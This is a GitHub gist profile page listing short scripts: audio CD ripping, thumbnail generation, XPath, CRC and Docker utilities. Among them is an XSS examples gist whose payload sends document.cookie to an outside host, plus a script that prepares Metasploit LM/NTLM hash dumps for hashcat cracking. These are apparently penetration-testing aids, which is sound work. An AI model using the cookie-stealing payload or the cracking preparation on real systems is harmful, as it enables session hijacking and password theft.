Skip to content

Instantly share code, notes, and snippets.

View 0xquad's full-sized avatar

Alex Just Alex 0xquad

  • Synlabs Consulting Inc.
  • Montreal, Quebec, Canada
View GitHub Profile
@0xquad
0xquad / dump-audiocd.sh
Last active October 27, 2022 21:19
CD rip script that uses cdda2wav and lame
#!/bin/sh
#
# Rip an audio CD to MP3 complete with ID3 tags. Requires cdda2wav and lame.
#
# Copyright (c) 2016-2022, Alexandre Hamelin <alexandre.hamelin gmail.com>
# Check requirements
for bin in cdda2wav lame; do
type -Pp $bin >/dev/null || {
@0xquad
0xquad / imgresize.sh
Created November 16, 2016 06:56
Generate thumbnails from an image directory
#!/bin/sh
# Copyright (c) 2016, Alexandre Hamelin <alexandre.hamelin gmail.com>
# Generate thumbnails from a directory.
[[ $# -ge 2 ]] || {
echo "usage: $0 size images... (ex: 160 1.jpg 2.jpg)"
exit 1
}
[[ $(type -t convert) == file ]] || {
@0xquad
0xquad / xpath.py
Created April 8, 2016 13:42
XPath selection tool in Python
#!/usr/bin/env python
import sys
from lxml.etree import parse, fromstring, tostring, _Element
def print_result(result):
if type(result) is list:
for e in result:
@0xquad
0xquad / genarray.py
Created March 27, 2016 17:11
Generate an array of bytes based on different strategies
#!/usr/bin/env python
def dump(stream):
for i in range(len(stream)):
print('{:02x}'.format(stream[i]), end='')
print()
@0xquad
0xquad / isocrc.c
Last active March 27, 2016 17:10
ISO1443A/B CRC calculation
/*
* (c) 2014, Alexandre Hamelin
* Last revised: 17 sep 2014
*/
#include <stdio.h>
#include <string.h>
#include "iso14443crc.h"
int main(int argc, char *argv[])
@0xquad
0xquad / testgenerator.py
Created March 27, 2016 16:48
Testing generators with unittest Mocks
#!/usr/bin/env python
def func():
return subfunc()
def subfunc():
return 0
@0xquad
0xquad / EXAMPLES.md
Created January 18, 2016 20:21
XSS code snippets, exploits and examples

Cross-Site Scripting Examples

Simple

<script>(new Image()).src='http://workstation:8000/'+document.cookie</script>

Embedding a CDATA markup

<!DOCTYPE html>
<html>
<head>
<title>Testing Content-Security-Policy and X-Frame-Options</title>
</head>
<body>
<h1>Frame Test</h1>
<iframe src="#http://web-site-to-frame" width="80%" height="600">
<noframes>Unable to load the frame</noframes>
@0xquad
0xquad / strip-jessie.sh
Last active November 23, 2015 17:20
Script to create a stripped down version of the Docker Debian image
#!/bin/sh
#
# Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com>
# Released under the MIT LICENSE.
# Create a stripped down debian image.
docker pull debian
cid=$(docker run -dt debian)
docker exec $cid rm -fr /usr/share/doc /usr/share/man /usr/share/locale
@0xquad
0xquad / lm-hashes-to-hashcat.py
Last active June 16, 2021 19:55
Script that converts a LM/NTLM hash dump from metasploit to oclhashcat/cudahashcat format for cracking
#!/usr/bin/env python
# Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com>
# usage: $0 hashdump.txt > hashes-lm.txt
import sys
with open(sys.argv[1], 'r') as fp:
lines = fp.read().splitlines()
# Get all LM hashes (each halves of full LM hashes) and make a set of unique